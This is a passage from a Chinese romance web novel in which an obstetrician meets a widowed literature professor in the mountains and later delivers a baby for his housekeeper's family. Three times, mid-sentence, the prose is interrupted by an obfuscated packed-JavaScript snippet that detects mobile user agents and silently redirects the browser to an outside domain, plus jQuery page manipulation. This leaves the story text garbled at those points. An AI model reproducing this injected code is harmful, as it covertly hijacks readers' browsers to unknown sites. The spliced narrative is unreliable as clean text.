霍初雪瞟了眼渐沉的日头,知道自己到时间该走了。可却挪不开步子。她喜欢听这个男人讲话。他清润深醇的嗓音有股神奇的魔力一直吸引着她。他们好像并不是第一次见面,而是久别重逢。 “小姐贵姓?”他似乎这才想起问她的姓名。 “姓霍,霍初雪。” 4. 第3棵树 第3棵树 “初雪?”男人听后,未曾笑,却夸赞道:“残腊初雪霁,梅白飘香蕊。意境不错,是个好名字!”【注】 倒是霍初雪抿嘴笑了下,没好意思告诉他自己这名字的由来。据说是她出生那天,青陵下了第一场雪。她爹霍广源先生看着窗外扑簌簌的雪花,信手拈来,“咱家闺女就叫霍初雪。” 给她取名真是比什么都随意! 同样的名字,从这人口中说出来,带上两句古诗,则更为文雅,意境隽永,逼格都高了。 霍初雪扫了两眼右手边斑驳老旧的外墙,墙面上方的白漆已经掉得七.七.八.八了,爬山虎野蛮生长,肆意地爬满整面白墙。这个季节,爬山虎长势惊人,叶片翠绿,颜色亮丽鲜嫩,看得人眼前一亮。 仔细看,她又发现左边墙上除了爬山虎,还种了别的植物,有凌霄花和吊兰。三月份并非凌霄花的花期,它还没有开花,不过枝叶茂盛,蓊蓊郁郁,彰显出早春生命的勃勃生机。 她心想若是到了五.六月,凌霄花开,红花掩映,绿意葱茏,这面墙一定会变得非常漂亮。 凌霄花的藤蔓从一楼一直攀爬到二楼,几株长枝静悄悄地探进二楼的小窗,似乎想给这背阴的房间送去一抹新绿。 这栋房子由内而外,从上到下,无不显露出年代感。 霍初雪注目一瞬,慢慢收回目光,打开话匣子:“先生,这房子看上去有些年头了,是你早年建的,还是买的?” “是我早年请人建的,我太太是望川本地人,每年岑岭梨花开的时候,我都要陪她回来住上一阵子。” “这么说先生你不是望川人?”她再次看向男人,抓住重点。 “我是青陵人。” “这么巧!”霍初雪惊呼一声,颇为意外,“我也是青陵人。” “我听你口音就听出来了,江浙一带的人语调软糯,前后鼻不分,很明显。” 在他乡偶遇老乡,这并未让男人感到多少欣喜,面色依旧寡淡,嗓音平稳无波,“青陵有不少人来这里旅游。” 霍初雪:“……” 第二杯茶水下肚,“呼噜”几声响,霍初雪的肚子不合时宜地唱起了空城计。 霍初雪:“……” “饿了?”男人耳尖听到了。 她揉了揉扁平的小腹,特别不好意思地说:“我没有吃中午饭。” “霍小姐先坐会儿。”男人扔下话,片刻以后给她取了一碟桃花酥回来。 “屋子里没什么吃的,只找到这个,你先垫下肚子。” “那你平时吃什么?” 话没经过脑子,就冒了出来。问完她方意识到不妥。可惜覆水难收,说出去的话已然收不回来了。 好在男人并未在意,淡声回答:“到了饭点,我的管家会过来给我送饭。” 霍初雪:“……” 原来是这样! 霍初雪实在是饿,也顾不上矜持,塞了块桃花酥到嘴里,甜腻腻的,有些黏牙。她一向不喜甜食,但饿的人委实没得挑,填饱肚子才是王道。 “你每年要在这里待几天?”满嘴桃花酥,说话也含糊不清。 “一周。” “今天第几天?” “第六天。” “所以你明天要走了?” “没错。” 不知不觉,那碟桃花酥全进了霍初雪的肚子。她压根儿就没在意,吃一块拿一块,再回神时,碟子已经空了。 男人的目光落在空碟上,轻轻压了下嘴角,“看来霍小姐肚子很空。” 霍初雪:“……” 这就尴尬了呀! 她有些脸热,忙不迭转移话题:“先生,你这儿的枇杷长得真不错。” 果然男人被转移注意力,温和的视线转向那棵枇杷树,忆起往昔,娓娓道来:“这树是我太太走的那年春天种的。她种了很多树,梨树、枣树、橘树种了一堆,可最后存活下来的就只有这一棵枇杷树。” 庭有枇杷树,吾妻死之年所手植也,今已亭亭如盖矣。 这句诗突然就具象化了。 霍初雪忍不住问:“这棵树几年了?” 男人呢喃低语:“十年了。” 她听完心里隐隐有了计较,这么看来他的妻子已经离世十年了。 十年啊,确实够长的了!难为这个男人还如此长情。十年如一日,守着这么一小方天地,完好如初地保留着妻子生前的记忆。 远远注目着这棵枇杷树,霍初雪的脑子里蓦地窜出一个久远的故事,是她孩提时代听算命先生讲的。当时只觉得神奇,没曾想居然就记住了,还记了这么多年。 故事的主角是位老太太,她中年丧夫,和独子相依为命。儿子养了一条柴犬,很聪明,也很有灵气,和主人感情很好。 天降横祸,而立之年的儿子出了意外,溘然离世。老太太老年失独,备受打击,从此以后只能和这条柴犬做伴。 老太太长寿,活到了九十岁。而那条柴犬则陪着老太太活到了九十岁,寿命比一般的狗都要长。老太太下葬后的第二天,那条柴犬就死了,死在了老太太的墓前。 神神叨叨的算命先生说是老太太的儿子把命续到了那条柴犬身上,让它代替自己陪伴在老太太身侧。 霍初雪隐约觉得这棵枇杷树也是代替妻子陪伴在丈夫身侧,十年如一日。以后若是有机会,她一定要把这个故事讲给先生听。 第三杯茶水饮完,霍初雪意识到自己必须得走了。要是再不走,天就该黑了。 “谢谢先生招待,我该走了,还烦请您给我指个路。” “不急。”这人的语调照旧平稳,不疾不徐,“等会儿管家会过来给我送饭,吃完饭,你跟他一起下山。下山的路不好走,你一个女孩子不安全。” 话音稍落,他便退到角落里打了个电话。 他逆光站着,身姿料峭挺拔,芝兰玉树,狭长的影子斜斜倒映在地上,静谧如画。 长得好看的人不论做什么都是赏心悦目的。哪怕仅仅只是一个再简单不过的动作,却有一种与生俱来的清贵。 可这一幕落入霍初雪眼里,她却觉得他的身影无比落寞。想必是这个男人沉寂得太久了。 *** 傍晚六点,管家到访,是位年过六旬的老人,衣着朴素,精神饱满,面容很是和善。 看到霍初雪出现在别墅,他明显有些惊讶,不过并未开口询问。只见他从食盒里取出饭菜,一一摆在石桌上,动作麻利。 倒是霍初雪主动解释自己的存在:“我到岑岭旅游,不小心迷路了,找先生问路。” 老人像是没听到她说话一样,毫无反应。 贺清时赶紧告诉她:“贵叔是聋哑人。” 霍初雪:“……” 难怪听不到她讲话! 老人家摆完饭菜冲贺清时比划两下,“清时,吃饭。” 贺清时打着手语,“贵叔,我明天就回青陵了,您不用给我送饭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487856|170113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您在家好好照顾兰姨,她预产期快到了。” 贵叔点点头,“知道了。” 手势稍稍落下,他又想起一件重要的事情,“孩子的名字取了吗?” “还没有,我和你兰姨都是粗人,没什么文化,不知道给孩子取什么名字好。”两人相视而立,贵叔的脸上浮现出期待的神色,手势不停,“要不您给孩子取个名字吧?” “不合适。”贺清时想也未想便直接拒绝,几乎是本能的反应,眼神里的哀伤一闪而过,快得几乎捕捉不到。 沉默数秒,他继续打手语,“您和兰姨自己取更好,名字只是个称呼,没必要太过讲究。身体发肤受之父母,你们给了他生命,名字理应由你们来取,我取不合适。” 贵叔敏锐地捕捉到贺清时的眼神变化,他眼底的哀伤不容忽视。 他忍不住在心底长叹一口气,确实是他强人所难了。 霍初雪怔愣地看着这二人互动,一脸茫然。她不懂手语,完全看不出他们在说些什么。 两人短暂交流过后,贵叔就退到了别墅里。院子里就剩下贺清时和霍初雪两个人吃饭,显得尤为空荡。 “招待不周,霍小姐多吃点。”贺清时客气又周到,态度却算不上热络。 “先生您太客气了。”霍初雪冲他笑了笑,特别感激。 误打误撞闯入人家家里,喝了人家的茶,吃了人家的糕点,如今还留下蹭饭。不过就是萍水相逢的路人,她却如此打扰人家,想来她也真是厚脸皮啊! “贵叔不吃饭吗?”她往院子四周看了看,贵叔不知道什么时候已经离开了。 贺清时说:“他在家里吃过了。” “哦。”她继续扒着碗里的饭,不再言语。 霍初雪的脸型小,埋头吃饭,长发自然垂落,盖住大半张脸。 她的头发很长,是养眼的亚麻色,发质浓密,蓬松微卷。阳光穿透枇杷叶的缝隙,细碎地照在她发顶,悄悄渲染出浅浅的金色。 头发太长,不小心就会扫到石桌上。她伸手撩了撩,别到耳后。可过不了多久,它又会掉落下来。反复几次,她没了耐心,索性用头绳绑起来。 长发被束起,她那张小脸完全显露出来,瓜子脸,脸型尖俏。一双小巧玲珑的耳朵也蒙上了一层淡淡的粉色。 两人原本都在埋头吃饭,并未交谈。突然一同抬头,视线撞到一块儿。霍初雪明显反应更快,冲他甜甜一笑。 贺清时愣了愣神,眼里闪过一丝诧异。 两人平静地吃完一顿晚饭。 都是一些家常菜,饭菜的味道霍初雪没太在意。不过她觉得那是自己这二十多年來吃得最与众不同的一顿饭,也是最开心的一顿。 他们吃完,贵叔来收拾残羹冷炙。 收拾好后,霍初雪就要跟着贵叔一起下山了。 男人也不知道什么时候摘的枇杷,用一只小小的纸袋装着,拿给她,“霍小姐的运气不错,今年的枇杷长势好,味道也好,带着路上吃。” “谢谢。”霍初雪欣喜不已,连忙跟他道谢:“叨扰先生了,以后若是有机会,我请先生吃饭。” “不必客气。”他安静地站在篱笆栅栏外,身后是古旧的别墅,栖在大片斑驳的树影里,轮廓清晰。 临走之前,霍初雪想起最重要的一件事,猛地一拍脑袋,“对了,忘记问先生你的名字了。” 男人双手插.兜,身形英挺,气质沉静温润,低声道:“贺清时,清时过却的清时。” 5. 第4棵树 第4棵树 下山的路僻静荒芜,杂草丛生,不太好走。太阳已经完全沉下山头,天空中氤氲着一抹瑰丽的橘红,将半边天都染红了。 朝虹雨,夕虹晴。看来明天又是一个艳阳天。 霍初雪一直紧紧跟着贵叔,生怕自己跟丢了,走不出这荒山野岭。 老人家腿脚快,一刻不停,显然是走惯了这种山野小路。有好几次她都追不上老人。可又不好开口让贵叔停下等等她,毕竟人家是聋哑人,而她又不懂手语。 经过近四十分钟的跋涉,她总算是下山了。 和贵叔告别后,她只身去酒店。 霍初雪心里始终惦记着一件事。一到酒店,她甚至都来不及洗澡,就直接打开了电脑。 在搜索框里敲下“贺清时”三个字,再点Enter键,网页上瞬间跳出一大串相关的信息。百度词条更是罗列了一大串。 她随意浏览了一下,在简介里看到一则信息—— 「现为A大文学院特聘教授,授课《专题文学欣赏》,《诗词歌赋鉴赏》等相关课程。」 果然,她的直觉不会出错。贺清时身上的气质给她的第一感觉就是这人应该从事着某项文学相关的工作。因为这个男人身上有种属于文人的特有的矜贵。 A大的特聘教授,很牛掰啊! A大百年名校,是江浙一带最好的一所双一流大学,师资力量雄厚,名列前茅。 她又大致浏览了一些内容。 其实有关贺清时的信息百度百科罗列得不算多,多为他的生平和成就。倒是A大贴吧有很多他的小道消息。 1楼:「今天终于去蹭了一节贺教授的课,尼玛太帅了有木有!老夫的少女心呦!(爱心)」 2楼:「羡慕你们能蹭到贺教授的课!(柠檬精附体)」 3楼:「楼上的不要羡慕,我就是贺教授教的!(笑而不语)」 4楼:「贺教授啊,完全是老年人,你能想象这年头还有人连微信都不用吗?」 5楼:「卧草,简直就是远古的大神啊!(下巴掉了)」 6楼:「老古董一个,说话也一板一眼的!(摊手)(心好累)」 7楼:「老古董怕什么!有颜值就够了!这年头谁还看内涵啊,都冲颜值去了!」 8楼:「抱走我贺教授,咱们不约!我家贺教授既有颜值,又有内涵好伐?」 …… 霍初雪滚动鼠标,将网页一条一条往下拖,帖子已经堆得很高了,足足有好几百层。看来这个贺教授在A大人气很高啊! 不过想来也是,这年头大家伙都冲着脸去,只要颜好,不论在哪儿都不乏关注度。 她看了好一会儿,嘴角不自觉滑出笑意。 过了好一会儿她才移动鼠标,关掉网页。 关掉网页的那一瞬间,霍初雪突然意识到自己好像有些魔怔,她竟然会去百度一个只有一面之缘的男人,更何况自己和这个男人日后都不会再有交集。 她哑然失笑,摇了摇头,怪自己鬼迷心窍了。关掉电脑,直接去卫生间洗澡。 洗完澡出来,乔圣晞给她发来了视频通话。 她麻利地接通电话,将手机用支架支住放在床上,笑着开口:“喂,西西大美女?” 乔圣晞敷着黑面膜,突然出现在屏幕上方,那样子委实有些吓人。 乔护士慵懒地靠在床头,气定神闲地问:“小雪宝宝,你今天去岑岭玩得怎么样?” 霍初雪抚了抚胸口,“西西,咱能别这么吓人么?瘆人啊!” “到时间忘记摘了。”乔圣晞呵呵笑起来,扯掉面膜,扔进床边的垃圾桶,“你还别说,这几年国货越做越好了。这款面膜超级补水,过两天给你拿两盒试试。” 她抬手拍了拍两边脸颊,方便吸收,旧话重提,“你去岑岭玩得怎么样啊?有木有艳.遇啊?” “还行,岑岭的梨花很漂亮!”霍初雪盘腿坐在床上,对着镜头,用干毛巾擦头发,“你还别说西西,我还真遇到了一个很神秘的男人。” “男人?怎么回事?真有艳.遇啊?!”从霍初雪嘴里听到男人,乔圣晞顿时来了兴致,嗓音都提高了好几度,“霍医生,你快点从实招来!” 霍初雪简单地将下午发生的事情和好闺蜜说了一遍。末了她一本正经总结:“以我多年识人的经验来看,这绝对是一个有故事的男人。” 乔圣晞:“……” 乔圣晞姑娘get到的重点却和霍初雪完全不同。她对着镜头,露出不可思议的表情,扯开嗓子一顿吼:“霍大医生,你脑子是不是有坑啊?你竟然敢只身一人闯进别人家,而且还吃陌生男人的东西,你是嫌自己活得太长了是吧?” “你说你好歹也被这个社会无情捶打这么多年了,怎么还这么单纯无知呢?人家给你东西你就吃,不怕他给你下药啊!大山深处,荒郊野岭,先.奸.后.杀,类似的案子还会少么?你是太相信别人,还是对自己的长相有信心,觉得别人不会对你有歹意?” 霍初雪:“……” 她被闺蜜吼得哑口无言,直接懵了。如果不是乔圣晞提到安全问题,她压根儿就没意识到今天下午自己的行为有什么不妥,她完完全全地将自己置身于危险之中。 荒山野岭惊现的一栋别墅,一个神秘莫测,充满故事的陌生男人,外加一个聋哑人管家,这三者不论哪一点都足够令人匪夷所思,不寒而栗了。而她居然毫无警觉,不管不顾就闯了进去。 可是很奇怪,当时她根本就没有想到这些。在茂林深处看到那栋老旧的别墅,总有一股神秘的力量指引着她踏进去。而且见到贺清时的第一眼,她一点都不认为他是坏人,她反而觉得他很亲切,她喜欢听他讲话。他很神秘,身上藏着故事,她忍不住就想靠近他,想去了解更多。这是她过去二十七年从未有过的一种感受。 然而事实上霍初雪并不是没有脑子的人。医院就像是一面镜子,照尽世间人情冷暖,缩影人世疾苦。在这面镜子前,她见惯了人性美丑,深知人心复杂。工作这些年,她冷静又理智,绝非是初出茅庐的无知少女。 可下午自己那般反常的行为,如今静下心来细想,委实是匪夷所思。 霍初雪很多年以后才明白,那天她注定就是要遇见贺清时的。 *** 原本还想在望川再玩一天,可就是因为贺清时的一句话,他说他明天就要回青陵了,她就提前驾车回去了。 行动率先越过脑子,鬼使神差一般,像是着了魔。然而细想一下,又毫无根据。 回到青陵以后,日子依旧忙碌,整日与时间赛跑,门诊、手术,迎接一个个新生命,在医院里忙得不可开交。 闲暇之余,霍初雪也会不自觉回想起那个短暂而又令人不可思议的午后。总觉得那天恍惚,是上天的恩赐,让她有幸结识了一个有故事的男人。 不过两人总归是萍水相逢,日后怕是不会再有机会见面了。这点认知让她格外惆怅。也许当时就应该找他要个手机号的。 *** 日子过起来也快,一转眼从望川回来大半个月就过去了。 一天晚上,霍初雪在睡梦中被刺耳的铃声吵醒。 身为一名产科医生,在深夜被电话吵醒,被叫去医院动手术,这已经不是第一次了,她早已习以为常。 黑夜里,她探出手臂摸向床头柜,拿起手机,贴到耳旁,嗓音倦怠无比,“喂?” 困得睁不开眼,连屏幕都没看一眼。 电话那头传来姑姑方茹沉稳有力的声音,“小雪,科里刚转来一个产妇,情况有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487857|170113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复杂,你赶紧过来给我当一助。” 方茹升了产科大主任以后,平时已经很少上手术台了。但凡需要她亲自操刀的手术,必定都是大手术,相当棘手。 霍初雪是方茹一手带出来的人,又是亲属,默契值和配合程度都比科室里的其他医生要高。而且她的实力在科室里也是拔尖的。一般大手术方茹都会要求她跟台,不是一助,就是二助。 霍初雪不敢耽搁,扒了扒蓬松凌乱的头发,跳下床换衣服,“我马上到。” —— 霍初雪一赶到医院就直接进了手术室。 手术室里无影灯照着,鸦雀无声,似乎比以往任何一台手术都要来得安静。气氛凝滞,厚重,甚至可以说是压抑。很不对劲儿,她敏锐地捕捉到了。 乔圣晞轻声向她陈述产妇情况:“张淑兰,63岁,孕39周,胎盘前置,脐带绕颈两周。” “没了?”她面露诧异。 除了产妇年纪大一些,这台手术并没有其他疑难棘手之处,就是普通的剖宫产手术。何以让产科大主任亲自主刀,还大半夜的特意把她给叫上当一助? “没了。”乔圣晞语气沉稳,“大致情况就是这些,是产妇的个人情况比较复杂。” “怎么说?” “中年失独,这个是试管婴儿。” 霍初雪:“……” 一切就位,方茹当即决定:“开始手术!” 手术有条不紊展开,所有人配合默契。 不久后,婴儿啼哭,一个新生命降生,是个男孩。 乔圣晞把孩子抱给产妇看,笑着说:“阿姨,是个儿子,很可爱!” 女人的双眼蒙上雾气,看着小小的婴儿,“真好,真好啊!谢谢医生,谢谢!” 孩子降生,方茹如释重负,“小雪,后面的交给你。” 霍初雪无比冷静,点点头,“好的。” 她迅速展开缝合。 她手头缝合动作不停,低头瞥了一眼躺在手术台上的产妇。女人年迈,皮肤黝黑,脸上沟壑纵横,饱经风霜。 女人意识清醒,察觉到霍初雪的目光,柔柔一笑,“谢谢你医生!” 那一刻,霍初雪觉得这个女人分外漂亮! “您很棒!”医用口罩掩盖住霍初雪的表情,可言语中却流露出浓浓的敬佩之情。 —— 手术室外,产妇年迈的丈夫,穿着一件黑色泛旧的棉袄,体态臃肿,微微佝偻着背,老态龙钟。 他一直低着头,在手术室外踱来踱去,焦急不安。 工作这么多年,很多医生早就看淡了生死,可依旧还是被这对夫妇感动了。毕竟孩子不是阿猫阿狗,生下来就可以不管的,你得抚养他长大成人,供他读书,看他成家立业,以上种种可不是一笔小数目。 一听到开门声,男人便直接冲到方茹面前,拼命比划,“医生,我老婆怎么样了?她还好吗……” 男人是个聋哑人。在场的医护人员没人懂手语。不过方茹大概能够猜到他在说什么。她在之前早就准备好的纸上写道:“你放心,母子平安!” 然后将纸递给男人看。 紧接着乔圣晞便把孩子抱给他看,也没注意到他其实根本听不见,“是个男孩,很漂亮!” 男人看看纸条,又看看襁褓之中的孩子,郑重其事地朝所有医护人员深深鞠了一躬,热泪盈眶。 他再抬头,站在角落里霍初雪这才看清了他的那张脸。 她快步走上前,一把抓住男人的手腕,十分不可思议,“贵叔?” 与此同时,一阵急促而又富有节奏感的脚步声自耳旁响起。 霍初雪听闻声响,猛地扭头一看,只见年轻男人清俊挺拔的身形毫无预兆地撞进她视线里。 是贺清时! 6. 第5棵树 第5棵树 手术结束,已是凌晨,夜色浓沉如泼墨。这座南方城市完全沉浸在梦乡,安详静谧。 一大群医护人员一同前往更衣室,井然有序,个个面容倦怠,哈欠连天。深夜的手术往往最消耗医护人员的体力。 方茹和霍初雪并排走,步调一致。 方主任沉声吩咐:“小雪,张淑兰就由你负责,密切关注她产后的各项指标。毕竟是高龄产妇,不比年轻人,马虎不得。” 霍初雪揉了揉眉心,不紧不慢接话:“姑姑您放心好了,我会严格把关的。” 方茹抚了抚胸口,一时间觉得自己有些体力不支,缓缓呼出一口浊气,“我已经好多年没有这种压力山大的感觉了。” 产妇情况太过特殊,这台手术让方茹承载了太多,不堪重负。不仅主刀医生,同台的任何一个医护人员都倍感压力。 方茹说完,同行的麻醉医生姜殊也柔柔一笑,“我刚也一直紧张来着,真怕自己会一不小心给她用错剂量。” 十年前大女儿在望川地震中丧生,中年失独,打击巨大。这对夫妇花了很多年才从阴影里走出来。后面便开始四处求医,花甲之年,不惜花光所有积蓄,只为再生一个孩子,听他们喊一声“爸妈”。这种勇气不是所有人都有的。 相应的,这个孩子是这对夫妇全部的希望,是他们活下去的动力,出不得一点差错。明明是一台普通的剖宫产手术,可所有的医护人员却高度重视,丝毫不敢懈怠。因为大家伙很清楚这个孩子对于这对夫妇意味着什么。 就连接生无数,在手术台上叱咤风云的方茹都不禁忐忑,深夜找来霍初雪给她当一助。就是怕自己万一哪里出了错,霍初雪能够及时补救。 霍初雪的心态倒是好,语气轻松,“不管怎么说孩子平安降生,这场战我们打赢了!” 身为医生,尤其是产科医生,每一台手术都是一场战役。产妇在鬼门关晃悠,而他们负责将她们带回人间。 *** 因着方主任的安排,张淑兰术后由霍初雪全权负责。 太神奇了,从岑岭回来大半个月过去了。她一直认为自己不会再有机会见到贺清时了。没想到这人触不及防的以这种方式出现在她面前。这样的转折,小说都不敢这么写。 当晚,张淑兰在病房熟睡着,贵叔陪在身侧,寸步不离。孩子被送去了新生儿科,新生儿各项指标均正常。 张淑兰平安生产,术后一切正常。所有人悬在胸口的巨石这才稍稍放下来。 凌晨时分,一整座住院大楼都归于静谧,消毒水的味道缠绕在空气里,挥之不去。 寂静的走廊里,光束清幽。柔和的光线轻轻打在男人身上,将他深色的西装渲染出暖调的黄,低柔优雅。 清冷矜贵,光风霁月,遗世而独立。 他背靠着墙壁站着,身姿挺拔,似青松翠柏。 霍初雪已经换下来了手术服,白大褂宽大,衬得她身形娇小纤瘦。 她脚上穿着薄底的豆豆鞋,鞋底又轻又软,踩在地板上几乎不会发出声响。 事实上她的脚步也放得很轻,尽量不影响他人休息。 经过护士站时,几个值班的小护士眼皮打架,昏昏欲睡,愣是没注意到她从旁经过了。 直到她走近了,贺清时的余光忽然捕捉到一抹白影,紧接着耳旁便传来一道轻柔女声,“贺先生还不回去?” 贺清时轻轻扭头,两人目光交汇。 视线里,霍初雪长发被束起,绑了个简单的马尾,露出一张素净的小脸,脖颈修长。 身穿白大褂的霍初雪比他之前看到的要干练许多,严谨、清冷,有那么一丝生人勿近的冷硬气质。 他特意收紧声线,“有点不放心。” 霍初雪站在他左手边,目光落在病房门上,语调温和,“你放心好了,一切正常,孩子五斤三两,很健康。” 贺清时的视线转到霍初雪的白大褂上面,继续问:“霍医生今晚值班?” 霍初雪摊摊手,微微一笑,“苦逼的加班狗一只。” 其实霍初雪也不太放心,毕竟张淑兰的情况特殊,她需要留在医院密切关注产妇术后的情况。 男人眼神平静,嗓音一贯低沉,“今晚真是辛苦你了。” 霍初雪撩了下额前掉落下来的碎发,别到耳后,音色清淡,“主刀的是方主任,我只是一助,谈不上辛苦。” 贺清时抬了抬眼皮,“我听护士说方主任是霍医生的姑姑?” 霍初雪“嗯”了一声,“亲的。” “不同姓?” “我爸跟我爷爷姓,我姑姑随我奶奶姓。” 原来是这样! 男人面露意外,“霍医生,我都想不到你竟然是医生。” “怎么,我不像个医生吗?”霍初雪微微抬眸,挑眉笑了下,顺便抬手揉了揉酸涩的眼睛,厚重的眼皮下难掩疲倦,“那贺先生觉得我应该从事什么工作?” “没觉得你不像医生,只是觉得有些意外。”他注视着她的白大褂,扶住右边脸颊,咬字含糊,“现在很多女孩子都不愿学医,觉得太辛苦。” 他一抬手,露出半截白色衬衫的袖口,干净又清爽。 “是很辛苦啊,加班都是家常便饭。像今晚这样大半夜被叫来医院,我都已经数不清这是第几次了。”她敏锐地注意到贺清时抚脸颊的动作,神色平静,“三甲医院,尤其是产科,疑难杂症多,工作强度又大,压力与日俱增。与此同时还要应付形形色.色的病人家属。要真没点吃苦精神那断然是不行的。不过我都已经习惯了。” 他静静的听着,点点头,深表赞许,“医生这么辛苦,霍医生当初选择学医真是勇气可嘉!” 霍初雪:“……” 她怎么有种老师夸奖学生的错觉? 深夜的住院部无比寂静,走廊更是空荡,贺清时低沉舒缓的声线一直萦绕在霍初雪耳畔,“我岳母在生我太太的时候大出血,人没抢救回来。兰姨是家里的保姆,从小把我太太带大,相当于养母。我和我太太结婚以后,她和贵叔一起到我们贺家,贵叔是管家。他们夫妻俩一直负责我们一家的饮食起居,就跟自己亲人一样。兰姨和贵叔有个女儿比我太太小两岁,十年前在望川地震中不幸丧生。独生女,兰姨和贵叔很受打击,一直走不出来。这几年四处求医,打算做试管婴儿,再生一个孩子。夫妻俩年纪大了,家里条件也不怎么宽裕,一直没什么效果。后面好不容易才怀孕。所以这个孩子对于两个老人来说特别重要,希望霍医生能够多关照一下。” 他这些话说得交心,也特别诚恳,像是在拜托一位老朋友,几乎不容霍初雪拒绝。 事实上,她也不会拒绝。 “贺先生你放心,我定当尽心。” *** 霍初雪很快就去了休息室休息。 马尾一晃一晃,紧随着她沉稳有力的脚步,白大褂衣角簌簌摆动。 目送她拐过墙角,贺清时这才走进病房。 病房里寂静无声,兰姨熟睡着,呼吸平稳。 看到他进来,贵叔忙站起来比划,“清时,你来啦!” 贺清时挥挥手臂,“您快坐。” 贵叔抹把脸,打手势,“这么晚了还让你跟着我们折腾,我真过意不去。” 贺清时走到兰姨身侧,伸手比划,“都是一家人,别说见外的话。我刚问了霍医生,孩子很好,您不用担心,好好照顾兰姨。很晚了,我明天早上还有课就先回去了,等上完课再过来看兰姨。” 贵叔送贺清时出门,手语不停,“清时,你赶紧回去休息,开车注意安全。” 贺清时朝老人点点头。 贺清时离开后,贵叔给妻子掖被角。被子轻轻一扯,谁知一只白色信封竟顺势掉落在地,徒然撞进眼里。 老人眉头一皱,迅速拆开,信封里是厚厚一沓纸币。 *** 贺清时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487858|170113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎着街灯从第一医院回家。 凌晨三点,黑夜像头懒洋洋的巨兽匍匐在城市上方,俯视一切。 他握住方向盘,白色小车徐徐前行。宽阔的大马路上空无一人。路灯暖黄的光束筛过行道树的枝叶,在地上照出斑驳的影子。 白天车水马龙的主干道,此刻已经没了人影,空荡而冷清。 他抬手扶住右边脸颊,口齿间犹如针扎一般,牵扯出密密麻麻的疼。 目光落向窗外,整座城市安睡,除了他这个未眠之人。 胸腔堵得厉害,沉郁满消。 到这个点还没有睡的人,想必是这世上最孤独的人了。 *** 第二天一早,霍初雪跟着方茹查房,一大群医生鱼贯而入。 张淑兰靠在床头,面色已经稍稍恢复。 贵叔陪了妻子一夜,一晚上没合眼,脸色多少有些憔悴。 看到霍初雪,贵叔冲她憨厚一笑。 方茹迎面问:“感觉怎么样啊?” 张淑兰虚弱地回答:“刀口疼得厉害。” “麻药过了刀口自然会疼,这是正常现象,忍忍啊!”方茹指了指身侧的霍初雪,“霍医生是你的主治医生,你都由她来负责,有什么不舒服就跟她说。” 霍初雪扬起笑容,音色轻柔,“你好张阿姨,我是你的主管医生。” 张淑兰轻轻一笑,“我听我们家老头子说了,霍医生是清时的朋友,辛苦你了。” 霍初雪:“……” 霍初雪笑着说:“分内之事,应该的。” 从病房出去,方茹压低嗓音问霍初雪:“怎么回事?” 霍初雪解释:“一个朋友的亲戚。” “朋友?”方茹咬重这个词,似有些不太相信,“普通朋友?” “嗯,普通朋友。” 霍初雪心想,迄今为止她和贺清时应该是连普通朋友都算不上。 —— 因着情况特殊,霍初雪明显对张淑兰很上心,一天之内要是去病房查看好几趟。 乔圣晞见她这么频繁出入张淑兰的病房,忍不住问:“小雪,你老实交代,你和29床那对夫妇到底什么关系?” “没关系啊!”霍初雪靠在椅子上,手里翻看着厚厚一沓资料,脑袋都没抬一下。 乔圣晞纳闷,“真没关系,你去的那么勤?可比一般病人勤快多了!” “这不是产妇情况特殊嘛!” “少忽悠我!”乔圣晞明显不信她这套说辞,凑到她跟前,故意用鼻子嗅了嗅,“女人的第六感告诉我,这里头一定有猫.腻,你赶紧老实交代!” 霍初雪:“……” “你还记得我之前跟你提过我在岑岭遇到的那个男人吗?” “记得啊!”乔圣晞往霍初雪对面坐下,“怎么了?” “这对夫妇就是那人的亲戚。” 乔圣晞:“……” “卧草!”乔圣晞当即震惊了,脱口而出:“小雪,你这是中了狗屎运啊!这都能遇到!” 霍初雪:“……” “西西,咱能不能文明点?” 乔圣晞眨了眨水汪汪的大眼睛,笑容暧昧,“敢情霍大医生您这是醉翁之意不在酒啊!” “胡说什么呢!”霍初雪矢口否认:“我那天蹭了人家一顿晚饭,我这是礼尚往来。” 乔圣晞不听霍初雪忽悠,一针见血,“咱俩认识多少年了?你什么心思我还不清楚。那个男人我昨晚看到了,长得确实不错,比时下那些奶油小生有味道多了。可惜就是年纪大了点,又是二婚,我担心霍大厨会拿菜刀砍你。” 霍初雪:“……” 霍初雪扶额,一头黑线,“西西,你是不是脑补太多了啊?” 乔护士起身往外头走,轻柔的嗓音迅速传过来,“我这不是替你未雨绸缪嘛,提前给你提个醒。” 霍初雪:“……” 闺蜜想得可真多! 7. 第6棵树 第6棵树 贺清时上午有一节《诗词歌赋欣赏》。 